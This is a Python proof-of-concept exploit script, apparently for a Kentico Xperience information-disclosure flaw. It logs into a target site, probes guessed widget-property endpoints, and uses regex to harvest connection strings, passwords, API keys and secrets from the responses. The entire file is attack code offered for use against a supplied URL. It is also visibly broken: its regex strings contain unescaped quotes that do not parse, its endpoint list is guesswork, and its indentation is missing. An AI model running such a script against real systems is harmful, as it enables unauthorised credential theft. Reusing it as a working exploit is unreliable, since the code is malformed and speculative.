#!/usr/bin/env python3
"""
CVE-2019-25230 PoC - Kentico Xperience Information Disclosure
This PoC demonstrates the information disclosure vulnerability in Kentico Xperience
where authenticated users can access sensitive system objects through the live site
widget properties dialog.
"""
import requests
import sys
import re
from urllib.parse import urljoin
def exploit_cve_2019_25230(target_url, username, password):
"""
Exploit Kentico Xperience information disclosure vulnerability
Args:
target_url: Base URL of the Kentico Xperience instance
username: Valid username with low privileges
password: User password
Returns:
dict: Exploitation results including sensitive data if successful
"""
session = requests.Session()
results = {
'vulnerable': False,
'sensitive_data': [],
'error': None
}
try:
# Step 1: Authentication
login_url = urljoin(target_url, '/CMSPages/logon.aspx')
login_data = {
'username': username,
'password': password,
'login': 'Log+in'
}
print(f"[*] Attempting authentication to {target_url}")
response = session.post(login_url, data=login_data, timeout=30)
if response.status_code != 200:
results['error'] = "Authentication failed - invalid response"
return results
# Step 2: Locate widget properties endpoint
# Common paths for Kentico Xperience widget properties
widget_endpoints = [
'/CMSPages/GetWidgetProperties.aspx',
'/CMSAPI/WidgetProperties',
'/CMSWebParts/LiveSite/WidgetProperties',
'/API/LiveSite/WidgetProperties/Get'
]
print("[*] Searching for vulnerable widget properties endpoint...")
for endpoint in widget_endpoints:
test_url = urljoin(target_url, endpoint)
# Step 3: Attempt to access sensitive system objects
# Using common widget identifiers and system object IDs
object_ids = [
'1', '2', '100', 'system', 'config',
'connectionstrings', 'appsettings', 'smtp'
]
for obj_id in object_ids:
params = {
'widgetId': obj_id,
'objectType': 'system.configuration'
}
try:
response = session.get(test_url, params=params, timeout=10)
if response.status_code == 200:
content = response.text
# Check for sensitive information patterns
sensitive_patterns = [
r'connectionString\s*[=:]\s*['"]([^'"]+)['"]',
r'password\s*[=:]\s*['"]([^'"]+)['"]',
r'apiKey\s*[=:]\s*['"]([^'"]+)['"]',
r'secret\s*[=:]\s*['"]([^'"]+)['"]',
r'database\s*[=:]\s*['"]([^'"]+)['"]',
r'server\s*[=:]\s*['"]([^'"]+)['"]
]
for pattern in sensitive_patterns:
matches = re.findall(pattern, content, re.IGNORECASE)
if matches:
results['vulnerable'] = True
results['sensitive_data'].extend(matches)
print(f"[!] Found sensitive data: {matches}")
except requests.RequestException as e:
continue
if results['vulnerable']:
print("\n[!] VULNERABLE: Information disclosure confirmed")
print(f"[*] Extracted {len(results['sensitive_data'])} sensitive items")
else:
print("\n[*] Target may not be vulnerable or requires specific configuration")
except Exception as e:
results['error'] = str(e)
print(f"[!] Error: {e}")
return results
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: python cve-2019-25230.py <target_url> <username> <password>")
print("Example: python cve-2019-25230.py https://target.com admin password123")
sys.exit(1)
target = sys.argv[1]
user = sys.argv[2]
pwd = sys.argv[3]
result = exploit_cve_2019_25230(target, user, pwd)
print("\n--- Scan Complete ---")
print(f"Vulnerable: {result['vulnerable']}")
if result['sensitive_data']:
print(f"Data found: {result['sensitive_data']}")